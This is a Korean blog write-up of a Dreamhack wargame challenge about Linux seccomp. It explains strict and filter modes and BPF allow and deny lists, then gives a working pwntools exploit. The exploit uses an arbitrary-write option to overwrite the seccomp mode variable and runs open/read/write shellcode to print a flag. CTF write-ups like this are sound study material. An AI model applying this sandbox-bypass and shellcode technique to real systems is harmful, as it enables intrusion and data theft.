int mode = SECCOMP_MODE_STRICT;
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* 현재 아키텍쳐가 x86_64라면 다음 코드로 분기, 아니면 SECCOMP_RET_KILL 반환 후 종료 */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* 호출된 시스템 콜 번호 저장 */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
/* 아무런 필터가 없음 */
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
// SECCOMP_MODE_STRICT: only read, write, exit, sigreturn allowed
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
Seccomp(secure computing mode)는 리눅스에서 sandbox 기반으로 시스템콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘이다
Berkeley Packet Filter (BPF) 필터식과 prctl() 함수를 사용해 SECCOMP 적용 가능하다
prctl()로 SECCOMP 적용하는 두 가지 방법
1. SECCOMP_MODE_STRICT 모드 (매크로 값 1)
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)
허용되는 시스템콜을 read(2), write(2), _exit(2), sigreturn(2)(but not exit_group(2))로 제한한다
그 이외의 syscall에 대해서는 SIGKILL을 발생시킨다
&prog (세번째 인자) 무시된다
2. SECCOMP_MODE_FILTER 모드 (매크로 값 2)
prctl(PR_SET_NO_NEW_PRIVS, 1);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args);
struct sock_fprog {
unsigned short len; /* Number of BPF instructions */
struct sock_filter *filter; /* Pointer to array of BPF instructions */
};
해당 모드를 위해 쓰레드의 no_new_privs 비트가 설정되어있어야 한다
SECCOMP 필터를 위해 sock_fprog 구조체를 건네주어야 한다
struct sock_filter filter[] = {
// 생략
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(exit),
KILL_PROCESS,
};
이런 식으로 ALLOW_SYSCALL 매크로를 호출해 allow list 필터를 걸거나
struct sock_filter filter[] = {
// 생략
/* Get system call number. */
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
/* List allowed syscalls. */
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
MAINTAIN_PROCESS,
};
이런 식으로 DENY_SYSCALL 매크로를 호출해 deny list 필터를 걸어야되는데
이번 문제의 filter[] 에서는 아무런 필터가 안걸려있다.
- mode를 SECCOMP_MODE_FILTER로 바꿔 빈껍데기 필터를 적용시키거나
- 아예 3 이상의 값으로 바꿔 prctl() 호출을 실패하게 만들면 되겠지
main 함수 코드 일부:
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) exit(0);
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024); // RWX
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
// 원하는 8바이트에 원하는 값 입력 가능
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
1. 만약 A<0x40000000 검증이 없었다면
x32 ABI를 이용한 syscall 방식으로 우회를 해버리면 그만이었지만
payload = shellcraft.open('./flag').replace('pop rax', 'pop rax\n or rax, 0x40000000')
=> 실패함...
2. 3번 옵션 딱봐도 수상함 => 전역변수 mode를 덮어쓰자 (1이 아닌 값으로)
- 플래그 값 읽어올 DATA 영역의 주소를 적당히 고른다
from pwn import *
context(os="linux", arch="amd64")
# p = process("./seccomp")
p = remote("host3.dreamhack.games", 16694)
mode_addr = 0x602090
writable_area = 0x602100
payload = shellcraft.open('./flag')
payload += shellcraft.read('rax', writable_area, 0xff) # 'rsp' 해도 동일하게 동작
payload += shellcraft.write(1, writable_area, 0xff)
p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode_addr))
p.sendlineafter("value: ", "2") # change it to SECCOMP_MODE_FILTER
p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", asm(payload))
p.sendlineafter("> ", "2")
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] master_canary (level2) (0) | 2023.06.20 |
---|---|
Dockerfile을 이용해 CTF 문제 환경 구성하기 (2) | 2023.06.19 |
[Dreamhack Wargame] Bypass SECCOMP-1 (0) | 2023.06.18 |
[Dreamhack Wargame] validator (0) | 2023.06.16 |
pwn 강좌 메모 (0) | 2023.06.15 |